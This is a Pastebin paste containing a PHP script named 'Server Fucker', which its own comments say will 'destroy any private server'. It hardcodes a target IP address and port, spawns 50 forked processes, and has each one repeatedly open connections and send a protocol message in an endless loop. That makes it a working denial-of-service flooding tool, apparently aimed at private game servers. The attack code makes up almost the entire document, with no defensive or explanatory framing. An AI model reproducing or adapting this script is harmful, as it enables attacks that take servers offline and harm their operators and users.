Advertisement
Guest User

Untitled

a guest
Sep 21st, 2017
115
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.23 KB | None | 0 0
  1. <?php
  2. /*
  3. *
  4. * Server Fucker
  5. *
  6. * This script will most likely destroy any private server.
  7. *
  8. * @author StaticABC, Test
  9. * @version 0.0.2
  10. *
  11. */
  12. // Configuration
  13. define('IP', '89.122.55.88');
  14. define('PORT', 6112);
  15. define('FORKS', 50);
  16. require_once("fork.inc.php");
  17. // Executing class
  18. class executeThread extends PHP_Fork {
  19. // Fields
  20. private $intCount;
  21. private $strName;
  22. function executeThread($strName) {
  23. $this->PHP_Fork($strName);
  24. $this->intCount = 0;
  25. $this->strName = $strName;
  26. }
  27.  
  28.  
  29. function run(){
  30. while(true){
  31. $resSock = socket_create(AF_INET, SOCK_STREAM, 0);
  32. if(@socket_connect($resSock, IP, PORT)) {
  33. socket_write($resSock, "<msg t='sys'><body action='rndK' r='-1'></body></msg>" . chr(0));
  34. echo date("H\:i\:s"), ': ', 'Sent(',++$this->intCount, ') on ', $this->strName, "\n";
  35. } else {
  36. // False was returned, could not connect
  37. echo "Unable to connect!\n";
  38. }
  39. }
  40. }
  41. }
  42.  
  43. // Actual script
  44. for($intLoops = 0; $intLoops < FORKS; $intLoops++){
  45. $objFork = new executeThread('Fork-' . $intLoops);
  46. $objFork->start();
  47. }
  48. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement